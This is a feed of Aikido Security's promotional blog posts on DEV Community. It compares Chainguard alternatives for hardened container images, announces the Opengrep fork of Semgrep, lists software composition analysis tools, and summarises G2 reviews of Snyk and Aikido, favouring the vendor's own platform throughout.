DEV Community: Aikido Security

Top Chainguard alternatives 2026

Nicholas Thomson — Mon, 20 Jul 2026 13:00:42 +0000

Chainguard built its product around stripping a container image down to only what your application actually needs and rebuilding it from a minimal base. The idea is that fewer packages means fewer vulnerabilities.

To scale this, it maintains its own Linux distribution, Wolfi, which is where the model starts to show its constraints.To use Chainguard, you have to move onto its images and commit to its distribution. If your application depends on something Chainguard has stripped out, it breaks. Chainguard also only covers the container layer in any meaningful way. It has extended into application libraries, but coverage is narrow, and the same proprietary-distribution commitment applies.

For teams running software they've been shipping for a while, switching base images is a migration project. It can be costly, and breaking away from a proprietary distribution is harder than it looks. That's probably why you're on this page looking for alternatives. This post walks through what to look for in a Chainguard alternative and the vendors worth evaluating.

TL;DR

Aikido Security is the strongest Chainguard alternative for teams that want CVEs fixed in the base image version they already run, without migrating to a proprietary distribution. Aikido patches open source vulnerabilities in place for both application dependencies and container base images, keeping your existing distribution rather than replacing it. It also blocks malicious packages at install time before they reach a developer's laptop, and clears the CVEs that can be upgraded cleanly through automated pull requests. The result is a continuous protection loop that finds vulnerabilities, fixes them where they are, and blocks new threats before they enter the pipeline. No other platform closes it end-to-end this way.

If you specifically want hardened images and nothing else, Docker Hardened Images, Minimus, RapidFort, and Echo are the direct alternatives. _

What Chainguard does well

The images themselves are strong. Chainguard ships them with SBOMs and Sigstore signatures generated at build time, rebuilds from upstream sources nightly so patches land in base images within a day, and publishes a CVE remediation SLA of 7 days for critical and 14 days for everything else.

The other area where Chainguard is strong is federal compliance. They maintain over 700 FIPS-validated image variants with NIST-validated cryptographic modules, a kernel-independent design that removes the traditional need for a FIPS-mode host, and DISA STIG hardening applied by default. For teams targeting FedRAMP, DoD Impact Levels, or similar regulated environments, the Chainguard image catalog is a short path to compliance-ready containers.

Why teams look for Chainguard alternatives

Requires full migration to Chainguard catalog and distro

To get Chainguard's CVE remediation SLA, you commit to their curated catalog, their Wolfi-based distribution, and their package versions. Custom Assembly lets you add packages, but anything pulled from the general Wolfi OSS repository falls outside the SLA, and the FIPS commitment doesn't extend to custom builds. If you're running something that doesn't have a Chainguard equivalent, or you're maintaining custom internal packages, the migration cost climbs and the security guarantees fragment.

Chainguard's upgrade treadmill never stops

Chainguard's approach to keeping CVE counts low is to rebuild images from upstream every night and ship new digests. When a fix lands, you roll forward. That trades one operational burden (patching CVEs manually) for another (constant change management on your base images). Every new digest is a different image that needs re-testing, and if your compliance posture requires change control, you're approving updates daily. Chainguard even recommends pinning to a digest for reproducibility, but pinning stops the patches from reaching you, which is the reason you were on Chainguard in the first place.

They tell you to scan with someone else's tools

Chainguard builds hardened, CVE-less images, but it doesn't tell you what's actually in them at the CVE level, or what's changed between digests. Their own documentation walks users through scanning Chainguard images with Trivy, Grype, Snyk, or Docker Scout, because that's where the vulnerability findings come from.

Piecemeal, not a platform

Chainguard only covers a narrow slice of the security stack. You get hardened base images, FIPS variants, an SLA on the packages they curate, and SBOMs for what they ship. Chainguard recently extended coverage into application dependencies for Python, Java, and JavaScript, though it's still three ecosystems (no Go, .NET, PHP, Ruby, or Rust), and it carries the same proprietary distribution commitment as the images. Everything else, from SAST and DAST to secrets detection, IaC scanning, container runtime monitoring, and cloud posture management, is still your problem to solve elsewhere.

What to look for in a Chainguard alternative

Backports for pinned versions

Every CVE fix from Chainguard requires you to move to a new image. That means new testing, new compliance approval, and a new deployment for each patch. The right alternative should let you apply security fixes into the version you already run, so a security fix doesn't require a full release cycle. This is the pattern that escapes the upgrade trap. You keep the version pinned, backport the security fix into it, and end up with no known CVE, no forced upgrade, and none of the "latest release" malware risk that comes with pulling the newest available package.

A path that works with your existing images

Adopting Chainguard means moving onto Chainguard's catalog and Wolfi distribution. The right alternative should work with the base images you already use, like Docker Hub’s official ones, vendor images like Elastic's or Bitnami's, and your own internal builds. Aikido scans all of these and applies VEX attestations from sources like Docker Hardened Images automatically, so adoption doesn't require rebuilding your image strategy.

Coverage past the base image

Hardened base images reduce the CVE count in the layer underneath your application. Everything else attackers reach for sits above it, starting with the open source packages your code depends on directly. Chainguard has extended into libraries, but only for Python, Java, and JavaScript, and only from their own rebuilt catalog. Aikido patches vulnerabilities in place across six ecosystems (npm, PyPI, Maven, Go, NuGet, and PHP), on the exact package versions your application already runs, with no proprietary distribution to migrate onto. The rest of the software development lifecycle sits above that: SAST, IaC, secrets detection, and runtime signals. Aikido covers those on the same platform, so a finding in a dependency is enriched by the IaC and runtime context around it.

Platform	Coverage	Image source	Pinned-version backporting
Aikido Security	✅ Full SDLC: Secured images, package patching, SAST, IaC, secrets, CSPM, runtime	✅ Works with any base image	✅ Yes, via Aikido Libraries and Aikido Images
Chainguard	⚠️ Hardened images plus libraries for Python, Java, and JavaScript only	⚠️ Proprietary Wolfi-based catalog	❌ Roll-forward to new digests
RapidFort	⚠️ Hardened images plus runtime profiling	✅ Curated images on standard LTS distros	❌ Runtime profiling removes unused components instead
Echo	⚠️ Hardened images only	✅ AI-driven rebuild of existing images, glibc-compatible	❌ No
Minimus	⚠️ Hardened images only	✅ Source-built minimal images, full catalog free	❌ No
Docker Hardened Images	⚠️ Hardened images only	✅ Alpine and Debian foundations, Apache 2.0 community tier	❌ No

Top Chainguard alternatives

Aikido Security

Aikido goes beyond Chainguard on container security, pairing 2,000+ secure base images with container image scanning, VEX-aware triage, and reachability analysis that traces a CVE from an exposed entry point to the exact code path it affects.

Aikido Images provides secure, drop-in container base images that stay on the same distribution and major version as your existing base, with patches already backported. AutoFix opens a pull request that updates the FROM line, so the fix lands in code review rather than as a forced digest swap. Aikido delivers CVE fixes to a defined SLA using backports and selective upgrades, so patches land on the version you're running rather than pushing you to a new major version. You keep the version pinned, apply the security fix to it, and end up with no known CVE and no forced migration.

Aikido Libraries does the same for application dependencies across six ecosystems (npm, PyPI, Maven, Go, NuGet, and PHP). When a CVE hits a package version you've pinned, Aikido backports the fix into that version and delivers it as a pull request, so you get the patch without the breaking changes of a major upgrade.

For images and dependencies you'd rather harden than replace, Aikido works with whatever you already use, including Docker Hub officials, vendor images like Elastic's or Bitnami's, Docker Hardened Images, and internal builds. All of them go through the same container image scanning workflow with no migration onto an Aikido-specific catalog. When an image ships VEX attestations, Aikido reads them and removes cleared CVEs from the active queue automatically. For images that haven't been secured yet, Aikido pairs CVE detection with reachability analysis, tracing the network route from an exposed entry point to the running container and confirming whether the vulnerable code path actually executes.

Aikido Intel detects malicious packages and undisclosed vulnerabilities before they reach public databases. Safe Chain uses that feed to block malicious packages at install time, before they ever land on a developer's laptop. And AutoFix clears the CVEs that can be upgraded cleanly, opening pull requests with the fix already drafted. Together with Images and Libraries, that's the full supply chain loop closed from developer laptop to registry to running container.

And Aikido is a complete software security platform covering the entire SDLC, so the same platform that patches your base images also runs SAST on your application code, SCA on your dependencies, IaC checks, secrets detection, cloud posture management, and runtime protection. Findings across those domains share context, so a vulnerability in a container dependency is a different priority if the IaC around it exposes the container to the internet or runtime telemetry shows the affected code path actually executes.

For a closer look at how Aikido stacks up, take a look at our head-to-head Chainguard comparison.

Best for: engineering teams that want CVEs fixed in the base image and dependencies they already run, without migrating to a proprietary distribution.

Rapidfort

RapidFort offers curated near-zero CVE container images backed by FIPS validation and STIG and CIS hardening. Their approach is to strip out packages and components an application doesn't actually use at runtime, informed by observed production behavior. The pitch that distinguishes it is that RapidFort's images are built on standard LTS distributions like Alpine, Debian, Ubuntu, and Red Hat rather than a proprietary container distro. So teams who would rather not commit to Wolfi specifically don’t have to. The catalog runs to over 25,000 images and is heavily oriented toward federal and defense workloads, including FedRAMP, FISMA, and CMMC.

What RapidFort adds on top of the images themselves is runtime profiling. Its Profiler component observes which packages and binaries actually execute in production, generates a Runtime Bill of Materials (RBOM), and uses that data to strip out unused components from the image.

The limitation is that RapidFort, like Chainguard, is a container-focused product. There's no SAST for application code, no source code dependency scanning before images are built, no IaC scanning, no secrets detection, and no cloud posture management. You're still buying separate tooling for the rest of the software development lifecycle. The runtime profiling is also a heavier integration than image-only approaches, since you need to run workloads under the Profiler to generate the runtime data the hardening depends on.

Best for: federal contractors, defense vendors, and regulated teams already committed to FIPS and STIG compliance who want a Chainguard-style outcome without adopting a proprietary distribution.

Echo

Echo is a newer entrant, whose pitch is an AI-driven image factory that compiles container images from source code, including only the components an application actually needs. Its agents watch vulnerability feeds and regenerate images as new CVEs land upstream. The resulting images aim for zero CVEs and ship as drop-in replacements for standard Docker base images.

The images are FIPS-validated and STIG-aligned for teams that need that, and Echo positions itself as a direct alternative to Chainguard and Docker Hardened Images in the rebuilt-base-image space. Where Echo is least proven is the operational track record of the AI-driven rebuild and patching pipeline under regulated, production-scale workloads.

Best for: teams that want a rebuilt base image strategy and are comfortable evaluating a Series A vendor with a smaller catalog and a shorter operational history.

Minimus

Minimus was founded in October 2022 by co-founders who previously built Twistlock (acquired by Palo Alto Networks in 2019). The product itself launched publicly at RSAC in April 2025, so its track record is still quite new. Minimus images are built from upstream source with only the minimal software needed to run an application. Their pipeline continuously monitors open source projects, rebuilds packages when maintainers publish new releases, and pushes fresh images daily after automated testing and signing. Their published catalog runs to over 1,200 hardened images, and they support FIPS, CIS, NIST, and STIG compliance baselines.

The notable positioning move is that in June 2026, Minimus opened its entire catalog free with no registration required. The company framed it as a response to AI-driven CVE discovery outpacing remediation. The friction reduction is real for buyers, and evaluation costs nothing. Like Chainguard and the others in this category, Minimus is a base image product and doesn't cover the rest of the security stack. Drop-in replacements through single-line Dockerfile changes are the migration path, which is roughly comparable to what Chainguard offers.

Best for: teams that want a free, source-built minimal image catalog and are comfortable with a vendor whose production track record is still measured in months.

Docker Hardened Images

Docker's own hardened image catalog launched in May 2025 and became free and open source under Apache 2.0 in December 2025. DHI is the most natural-fit Chainguard alternative for teams already using Docker Hub. It provides near-zero CVE base images built on standard Alpine and Debian foundations, ships with signed SBOMs, SLSA Build Level 3 provenance, and VEX attestations, and is available in a free community tier covering the full catalog. DHI Select adds a 7-day SLA for critical CVEs and FIPS and STIG variants. DHI Enterprise adds unlimited customization on top of that, with Extended Lifecycle Support available as a paid add-on for up to five years past upstream end-of-life.

The case for DHI over Chainguard is friction. The catalog runs to over 1,000 images, the foundations Alpine and Debian, and the workflow lives where most teams already are. VEX attestations are designed to work with the scanners you already run, with documented integrations across major container scanners including Aikido. The case against is that Chainguard's catalog is more mature, since it’s been around since 2021, and Chainguard's Custom Assembly gives finer-grained package-level control than DHI's customization model. DHI is also more recent, so the track record under heavily regulated workloads is shorter.

Best for: teams who would rather adopt hardened images inside their existing Docker workflow than migrate onto a new image catalog and a new distribution.

Other tools worth knowing about

A few adjacent options don't fit the hardened images framing but might be on your radar. Seal Security patches vulnerabilities in place across application dependencies, OS packages, and container base images, with a focus on teams that can't afford forced upgrades. They are primarily known for patching application dependencies and OS packages, and their base image catalog is newer and narrower than Chainguard's. Wiz is a cloud-native application protection platform that recently added WizOS, its own hardened image offering, though the value of buying Wiz is really the broader cloud security graph rather than the images themselves. HeroDevs sells Never-Ending Support for end-of-life open source software, filling the gap when a framework you depend on has gone dark and no hardened image will fix the underlying dependency. Depthfirst is an AI-native security platform focused on triage rather than hardened images, using AI agents to reason about which findings are actually exploitable in your codebase.

Launching Opengrep | Why we forked Semgrep

Felix Garriau — Thu, 23 Jan 2025 11:00:02 +0000

TL;DR: We’re launching Opengrep, a fork of SemgrepCS, in response to its open-source clampdown.

Last month, Semgrep announced major changes to its OSS project—strategically timed for a Friday, of course ;)

Since 2017, Semgrep has been a cornerstone of the open-source security community, offering a code analysis engine and rule repository alongside its SaaS product. But their recent moves raise the question: what does “open” really mean?

Key changes include locking community-contributed rules under a restrictive license and migrating critical features like tracking ignores, LOC, fingerprints, and essential metavariables away from the open project.

This isn’t surprising—Semgrep has been quietly quitting the open-source engine for some time. The rebranding from “Semgrep OSS” to “Semgrep Community Edition” feels like the final nail in the coffin.

Why?

Perhaps pressure from VCs, viewing open-source contributions as “cannibalizing” SaaS revenue, or protecting against competition? Semgrep claims the move was to stop vendors from using the rules and engine in competing SaaS offerings. Yet, just yesterday with their “AI” announcement, the founder declared, “the original Semgrep engine is becoming obsolete.”

Whatever the case, while we respect a competitive spirit, this open-source clampdown does little to stop rival organizations. More than anything, this move undermines community trust—not just in Semgrep, but across open-source projects.

“This sort of change also harms all similar open-source projects. Every company and every developer now needs to think twice before adopting and investing in an open-source project in case the creator suddenly decides to change the license”... or kneecap the functionality (Opentofu).

This pattern is familiar: Elasticsearch’s license shift led AWS to create OpenSearch. The Opentofu movement arose after HashiCorp’s Terraform rugpull. Vendor-led open-source often prioritize commercial interests over community to make it to the “big leagues.” And that sucks.

So, we’re taking action.

We’ve united with 10 direct competitors to launch Opengrep—a coordinated, industry-wide stand to protect open-source and make secure software development a shared standard.

I’m joined by Nir Valtman (CEO, Arnica), Ali Mesdaq (CEO, Amplify Security), Varun Badhwar (CEO, Endor Labs), Aviram Shmueli (CIO, Jit), Pavel Furman (CTO, Kodem), Liav Caspi (CTO, Legit), Eitan Worcel (CEO, Mobb), and Yoav Alon (CTO, Orca Security).

What can you expect? Performance improvements, unlocking pro-only features, extended language supports, migrating critical features back to the engine, and new advancements: windows compatibility, cross-file analysis, the roadmap is long.

Together, we’re pooling committed capital and OCAML development resources to advance and democratize - even commoditized - static application security testing.

Because let’s face it—there are more interesting things to build. Finding is one thing... let’s focus on the future, on how we can find and fix security vulnerabilities ~~fast~~ automatically. Let’s focus on getting devs back to building.

Read the Opengrep Manifesto. Leverage and contribute to Opengrep today. To contribute or join as a sponsor, open an issue on https://github.com/opengrep/opengrep.

For community & contributors, join the open roadmap session on 20th February.

Follow along on X. Linkedin.

Top 10 Software Composition Analysis (SCA) tools in 2025

willem-delbare — Thu, 09 Jan 2025 11:30:46 +0000

Top 10 SCA tools for 2025

85% of the code that we use doesn’t come from our own code, it comes from our open-source components and dependencies. This means attackers can know your code better than you do! SCA tools are our best line of defense to keep our open-source supply chain secure.

Software Composition Analysis (SCA) tools, also known as open-source dependency scanning, help us understand the risks we have in our open-source supply chain. From known vulnerabilities, risky licenses or malware hidden in innocent-looking libraries.

Understanding the composition of your open-source supply chain can be very difficult and SCA tools have become an integral part of the application's security programs. However, they often are riddled with false positives and unnecessary noise so we wanted to break down precisely what to look for in a good SCA tool and review 10 of the market leaders in SCA right now.

How does Software Composition Analysis Work?

SCA tools provide an ongoing process for detecting vulnerabilities usually by checking our dependencies and versions against known vulnerabilities. Leaders in SCA however will go further and detect packages using high-risk licenses, conduct malware inspection, and even detect when packages are no longer actively maintained. In addition the approach tools take can differ, typically we see 6 different stages within a SCA tool.

1. OSS Dependency Scanning

Scans application codebases, build directories, CI/CD pipelines, and package manager files to identify open-source (OS) dependencies.
Detects both direct dependencies (explicitly declared) and transitive dependencies (inherited).

2. Generating a Software Bill of Materials (SBOM)

Creates an inventory of all OS components with:
- Component names, versions, locations, suppliers/maintainers
- Associated open-source licenses.
Often visualizes dependency relationships for better analysis and identifying potential vulnerabilities/conflicts.

3. Vulnerability Assessment

Compares the SBOM against databases like NVD, CVE, GitHub Advisory, etc.
Scanning open-source components for malware not declared in databases
Uses Common Platform Enumeration (CPE) to map components to known vulnerabilities.
Regularly updated databases ensure new vulnerabilities are flagged, even for older dependencies.

4. OSS License Compliance

Identifies licensing terms for each dependency.
- Examples: GPL (restrictive, requires sharing modifications) vs. MIT (permissive).
Flags license conflicts or violations of internal organizational policies.

5. Vulnerability Remediation and Auto-Triaging

Provides actionable recommendations
- Suggests updates to patched versions (often automatically creating Pull Requests)
- Links to security advisories.
- Offers temporary workarounds.
Prioritizes vulnerabilities based on severity, exploitability, and runtime impact (auto-triaging).

6. Continuous Monitoring and Reporting

Periodically rescans the codebase for emerging vulnerabilities and updates SBOMs.
Maintains real-time visibility into OS components, their versions, and associated risks.

Top 10 Industry-proven SCA Tools

(In alphabetical order)

If you are looking for SCA tools and don’t know where to start, here is a list of 10 tools we consider to be industry leaders followed by there core features and any disadvantages.

Aikido Security

Aikido Security is a developer-focused no-nonsense security platform that combines 9 different scanners into a single platform protecting you from code to code.
Aikido takes a different approach to open-source dependency scanning by prioritizing vulnerabilities based on real-world risk factors instead of relying solely on CVSS scores and also scans for malware, license risks, and inactive packages.

Key Features:

Risk-Based Vulnerability Prioritization: Focuses on exploitable issues, considering data sensitivity and vulnerability reachability, reducing noise from irrelevant CVEs.
Advanced Malware Detection: Identifies hidden malicious scripts and data exfiltration attempts across major ecosystems like NPM, Python, Go, and Rust.
Reachability Analysis: Uses a robust engine to identify and prioritize actionable vulnerabilities, eliminating false positives and duplicates.
Automated Remediation Workflows: Integrates with tools like Slack, Jira, and GitHub Actions to automate ticketing, notifications, and security policies.
Local CLI Scanner: Enables secure, self-hosted scanning for teams handling sensitive data, ensuring compliance with privacy and regulatory standards.
Developer-Centric Design: Embeds security directly into workflows, offering clear, actionable guidance tailored to the specific impact on codebases.
Straightforward Pricing: Predictable and cost-effective, with savings of up to 50% compared to competitors.

Apiiro

Apiiro combines deep code analysis with runtime behavior monitoring to identify and prioritize exploitable vulnerabilities and open-source risks, providing comprehensive insights and streamlining remediation directly within developer workflows.

Key Features:

Comprehensive Risk Analysis: Evaluates open-source risks beyond CVEs, including unmaintained projects, licensing conflicts, and insecure coding practices.
Penetration Testing Simulations: Confirms the exploitability of vulnerabilities based on runtime context to prioritize critical risks.
Risk Graph and Control Plane: Maps OSS supply chains and automates workflows, policies, and remediation processes to address risks effectively.
Extended SBOMs (XBOM): Provides a real-time, graph-based view of dependencies and associated risks, including CI/CD and cloud resources.
Developer-Centric Remediation: Embeds contextualized alerts and secure version updates into existing developer workflows and tools.

Disadvantages:

High Cost: Requires a minimum annual contract of $35,400 for 50 seats, which may not be suitable for smaller organizations.
Complex Onboarding: Advanced features like risk graphing and XBOMs may necessitate a steep learning curve for new users.

Arnica

Arnica integrates directly with SCM systems to continuously monitor code changes and dependencies in real-time, providing early detection of vulnerabilities, dynamic inventory management, and actionable remediation guidance to ensure security is embedded into the development lifecycle.

Key Features:

Pipelineless SCA: Eliminates complex pipeline setups by natively integrating with tools like GitHub, GitLab, and Azure DevOps to scan every commit in real-time.
Dynamic Dependency Inventory: Maintains an up-to-date inventory of all external packages, licenses, and associated risks.
Exploitability Prioritization: Correlates OpenSSF scorecards and EPSS threat intelligence to calculate exploitability risk scores for each vulnerability.
Contextual Alerting: Delivers detailed, prescriptive alerts to relevant stakeholders with step-by-step remediation guidance, including one-click automated fixes.
Seamless Feedback Loop: Provides immediate security feedback to developers, fostering early and continuous vulnerability management.

Disadvantages:

Limited Free Features: Advanced functionalities require paid plans, starting at $8 per identity per month.
Scaling Costs: Costs increase with the number of identities, which may be a concern for large teams or organizations.

Cycode

Cycode provides end-to-end visibility into open-source vulnerabilities and license violations by scanning application code, CI/CD pipelines, and infrastructure, offering real-time monitoring, automated SBOM generation, and scalable remediation directly integrated into developer workflows.

Key Features:

Comprehensive Scanning: Analyzes application code, build files, and CI/CD pipelines for vulnerabilities and license violations.
Real-Time Monitoring: Uses a knowledge graph to identify deviations and potential attack vectors as they occur.
SBOM Management: Generates up-to-date SBOMs in SPDX or CycloneDX formats for all dependencies.
Integrated Remediation: Provides CVE context, suggested upgrades, one-click fixes, and automated pull requests to accelerate patching.
Scalable Fixes: This enables addressing vulnerabilities across repositories in a single action.

Disadvantages:

Pricing Transparency: Requires direct contact for pricing, with estimates suggesting $350 per monitored developer annually.
Cost for Larger Teams: Pricing may become prohibitive for organizations with many developers.

Deep Factor

DeepFactor combines static scanning with live runtime monitoring to generate comprehensive SBOMs, map dependencies, and identify exploitable risks by analyzing real-world execution patterns and runtime behaviors, offering a contextualized view of vulnerabilities to streamline remediation.

Key Features:

Runtime Reachability SCA: Tracks whether vulnerabilities are exploitable by analyzing executed code paths, control flows, and stack traces.
Dynamic SBOM Generation: Identifies all dependencies, including undeclared "phantom" components, by combining static and runtime analysis.
Customizable Security Policies: Allows organizations to define unique conditional rules and triggers based on their specific security needs.
Intelligent Alert Correlation: Consolidates related issues into actionable alerts with detailed context, reducing triage noise.
Granular Runtime Insights: Observes application behavior across file operations, memory usage, network activity, and more.

Disadvantages:

Pricing: Costs can add up quickly for larger teams, with the all-in-one plan at $65/developer/month.
Limited Language Support: Runtime reachability analysis currently supports a subset of languages (PHP, Kotlin, Go, Ruby, Scala), which may not cover all use cases.

Endor Labs

Endor Labs enhances SCA scanning by inspecting source code to build dynamic SBOMs, identify critical vulnerabilities, and detect insecure coding patterns, malware, and inactive dependencies, enabling DevSecOps teams to focus on the most exploitable risks with actionable insights and regulatory compliance support.

Key Features:

Granular Dependency Analysis: Maps all declared and "phantom" dependencies through source code inspection, not just manifest files.
Reachability Analysis: Identifies vulnerabilities realistically exploitable in the application’s context to reduce noise.
Endor Score: Provides a comprehensive health assessment of OSS packages, factoring in security history, community support, and maintenance.
Automated SBOM and VEX Reports: Continuously updates dependency inventories and vulnerability classifications with in-depth reachability context.
Advanced Detection Capabilities: Includes rules engines to flag malware, insecure patterns, dependency sprawl, and license violations.

Disadvantages:

High Entry Cost: Paid plans start at $10,000 annually, making it less accessible for smaller organizations.
Complexity for New Users: The comprehensive features and in-depth analysis may require onboarding time for new teams.

Oligo Security

Oligo adopts a unique approach to SCA by monitoring libraries at runtime, in both testing and production, to detect vulnerabilities that traditional scanners miss. Oligo offers actionable fixes based on application context and environment. By leveraging an extensive knowledge base of library behavior profiles and real-time monitoring, Oligo identifies zero-day vulnerabilities, improper library usage, and runtime-specific threats, ensuring DevSecOps teams address critical issues efficiently.

Key Features:

Runtime Monitoring: Tracks library behavior during testing and production to detect deviations and vulnerabilities.
eBPF-Based Profiling: Utilizes Linux kernel-level monitoring for unmatched visibility into runtime behavior.
Automated Policies and Triggers: Customizable security workflows and real-time alerts via tools like Slack and Jira.
Zero-Day Vulnerability Detection: Identifies threats before they are publicly known, preventing zero-day attacks.
Contextual Vulnerability Prioritization: Considers environment and library execution state to prioritize threats effectively.

Disadvantages:

Pricing Transparency: Requires a demo to access pricing details; no self-serve or standardized pricing information is available.
Platform Limitations: Primarily Linux-focused due to reliance on eBPF technology.

Semgrep

Semgrep is a comprehensive supply chain security platform that scans across the development workflow, leveraging lightweight pattern matching and reachability analysis to detect vulnerabilities and anti-patterns directly exploitable in your code, while offering customizable rules and real-time dependency visibility.

Key Features:

End-to-End Scanning: Monitors IDEs, repositories, CI/CD pipelines, and dependencies for security threats and anti-patterns.
Reachability Analysis: Identifies if flagged vulnerabilities are actively exploitable in your application, reducing unnecessary noise.
Dependency Search: Provides live, queryable streams of third-party packages and versions for real-time threat response and upgrade planning.
Semgrep Registry: Features over 40,000 pre-built and community-contributed rules, with options for custom rule creation.
Broad Language Support: Supports 25+ modern programming languages, including Go, Java, Python, JavaScript, and C#.
Seamless Integrations: Works out-of-the-box with GitHub, GitLab, and other popular version control systems.

Disadvantages:

Pricing for Larger Teams: Costs escalate quickly for mid-sized and large teams ($110/contributor/month for 10+ contributors).
Customization Complexity: Writing and managing custom rules may require additional effort for less experienced teams.

Snyk

Snyk has become the gold standard for traditional SCA tools, it creates detailed dependency trees, identifies nested dependencies, and creates prioritized remediation efforts based on real-world risk factors and exploitability. Snyk fits into the developer workflows with dashboard, CLI / IDE tools, provides actionable fixes, and helps ensure open-source license compliance.

Key Features:

Dependency Tree Mapping: Builds hierarchical graphs to detect vulnerabilities in direct and transitive dependencies and trace their impact.
Proprietary Priority Scoring: Ranks vulnerabilities based on exploitability, context, and potential impact, ensuring focus on critical threats.
Snyk Advisor: Assesses over 1 million open-source packages for security, quality, and maintenance to help developers choose the best dependencies.
Vulnerability Database: Maintains a robust database of 10+ million open-source vulnerabilities, manually vetted for accuracy and actionable insights.
Seamless Integration: Works with popular version control systems, CI/CD pipelines, and IDEs to scan code and dependencies in real time.
Customizable Policies: Allows organizations to enforce specific rules for vulnerability handling and license compliance.

Disadvantages:

Cost for Advanced Features: While the free plan is basic, advanced features for larger teams require higher-tier plans, which can be costly.
Manual Verification Dependency: Reliance on manual vetting for vulnerabilities may delay updates for newly discovered threats.

Socket Security

Socket leverages deep package inspection and runtime behavior analysis to proactively detect supply chain threats, zero-day vulnerabilities, and anomalies in open-source dependencies, ensuring comprehensive protection beyond traditional SBOM-based scanning.

Key Features:

Deep Package Inspection: Monitors dependencies' runtime behavior, including resource interactions and permission requests, to detect risky behaviors.
Proactive Threat Detection: Identifies zero-day vulnerabilities, typosquatting risks, and supply chain attacks before they’re publicly disclosed.
Pull Request Integration: Automatically scans dependencies with every pull request and provides actionable GitHub comments, ensuring early risk mitigation.
Dependency Overview: Offers insights into direct and transitive dependencies, providing a complete dependency graph with critical details and links.
Maintenance Risk Assessment: Evaluates maintainer activity, codebase updates, and social validation to flag potential risks in OSS packages.

Disadvantages:

Language Support: Limited to JavaScript, Python, and Go dependencies, which may restrict usage for teams working in other languages.

Choosing The Right OSS Dependency Scanner

Choosing the right SCA tool is going to depend on the specific needs of your project and the technology it uses. It is important to note that SCA is only one part of a comprehensive application security plan and using a stand-alone SCA tool will mean needing to integrate with multiple different vendors. All-in-one solutions like Aikido security are not just attractive in

Want to see Aikido in action? Sign up to scan your repos and get your first SCA results in less than 2 minutes.

Snyk vs Aikido Security | G2 Reviews Snyk Alternative

willem-delbare — Tue, 07 Jan 2025 07:30:40 +0000

So you’re in the market for application security, perhaps even a Snyk alternative. Whether it’s your first time exploring a code security platform or you’re a seasoned user searching for better options, you’re in the right place.

When developers and businesses evaluate their choices, two names often rise to the top: Aikido Security and Snyk. Both platforms offer comprehensive tools for engineering teams to secure their applications, but how do they really compare? Rather than relying on opinions, let’s turn to the voices that matter most: real users.

Based on verified 3rd-party reviews

This guide is a direct synopsis of verified third-party reviews from G2, the world’s largest trusted software marketplace. Over 100 million professionals rely on G2 annually to make informed software decisions using authentic user feedback. Based on the latest verified user data from G2, we’ll provide a detailed breakdown of Aikido Security vs. Snyk, analyzing features, user experience, pricing, and more.

In addition, you can also read these user reviews directly on G2. Here is the G2 link for Aikido Security and for Snyk, and the direct comparison reviews that compare Aikido as a Snyk alternative.

What is Aikido Security:

Led by serial CTO Willem Delbare, Aikdio is the “no bullshit” security platform for developers. After many years using other application security products, Delbare founded Aikido to fix security for CTOs and developers with an all-in-one platform code-to-cloud security platform designed to help engineering teams get security done. Engineering teams execute faster with Aikido thanks to developer-dedicated features: centralized scans, aggressive false positive reduction, dev-native UX, automatic risk triage, risk bundling, and easy step-by-step risk fixes, including LLM-powered autofixes for 3 different issue types.

TL;DR Aikido makes security simple for SMEs and doable for developers, so companies can win customers, grow up-market, and ace compliance.

What is Snyk:

Snyk is a well-known security company that positions itself as a “developer-oriented” security tool, for teams to identify and fix vulnerabilities in their code, open-source dependencies, and container images. Snyk is an early player in the “shift left” security movement and was founded 10 years ago in Tel Aviv and London and is currently headquartered in Boston, USA.

Aikido vs Snyk Alternative at a Glance

Aikido Security:
- Rating ⭐️: 4.7
- Market Segments: Small to Mid-Market Businesses
- Entry-Level Pricing: Free
Snyk:
- Rating ⭐️: 4.5
- Market Segments: Mid-Market to Enterprise
- Entry-Level Pricing: Free

Aikido Security is heavily favored by small to medium-sized businesses, while Snyk has broader adoption among larger mid-market organizations, especially enterprises. Both platforms offer free plans, making them accessible for individual developers and smaller teams.

Category Ranking Overview

User Experience

Ease of Use

Aikido Security: Rated 9.5, users praise its intuitive interface and streamlined workflows. It’s designed with a developer-first approach, ensuring minimal friction when integrating into existing CI/CD pipelines.
Snyk: Rated 8.7, while still user-friendly, some reviewers note a steeper learning curve, especially for teams unfamiliar with DevSecOps tools.

Ease of Setup

Aikido Security: With a score of 9.5, users love Aikido’s quick onboarding process and minimal configuration requirements.
Snyk: Rated 9.0, setup is straightforward, but users occasionally encounter challenges integrating with less common tools.

Ease of Administration

Aikido Security: Scoring 9.3, system administrators find it simple to manage teams, permissions, and integrations.
Snyk: Rated 8.8, administration is effective but can become complex in larger organizations.

Support and Product Direction

Quality of Support

Aikido Security: With an impressive score of 9.6, users frequently commend the responsive and knowledgeable support team. Most testimonials highlight fast support from Aikido team and founders as a top highlight.
Snyk: Rated 8.6, support is OK, generally reliable but sometimes slower for free-tier users.

Product Direction

Aikido Security: Users rank Aikido with a round 10.0 score, reflecting user confidence in its innovative roadmap and consistent feature updates.
Snyk: Rated 8.7, appreciated for its focus on open source and developer-centric tools but slightly lagging in comprehensive feature rollouts.

Aikido vs Snyk Alternative Feature Comparison

If you are looking for a Snyk alternative, it is important to note the specific production functionalities that each platform offers. While Snyk offers SAST, IaC, Software Composition Analysis, and vulnerability scanning, Aikido offers more functions and features within its all-in-one platform.

While Snyk offers 4 products, Aikido offers 11 products in one security suite, including SAST, DAST, Software Composition Analysis, IaC, container image scanning, secret scanning, malware scanning, API scanning, license risk scanning, local custom scanning, as well as cloud (CSPM) security.

Static Application Security Testing (SAST)

What is it? SAST is a method to identify vulnerabilities in source code before deployment.

Aikido Security: Rated 8.7, it excels in identifying vulnerabilities in source code and presenting actionable insights.
Snyk: Rated 7.7, effective but often criticized for generating more false positives compared to competitors.

Dynamic Application Security Testing (DAST)

What is it? DAST is a technique that scans live applications to detect runtime vulnerabilities.

Aikido Security: Scoring 8.9, users appreciate its ability to identify runtime vulnerabilities with minimal configuration.
Snyk: Not enough data available to assess DAST capabilities.

Container Security

What is it? Container Security is the process of identifying vulnerabilities in containerized applications and images.

Aikido Security: Rated 8.4, it provides deep insights into container images and vulnerabilities across registries.
Snyk: Rated 7.9, strong for basic container scanning but less comprehensive in advanced scenarios.

Software Composition Analysis (SCA)

What is it? SCA is the practice of detecting vulnerabilities in open-source dependencies and third-party libraries.

Aikido Security: Scoring 8.9, it combines open-source dependency scanning with enhanced malware detection, ensuring robust protection.
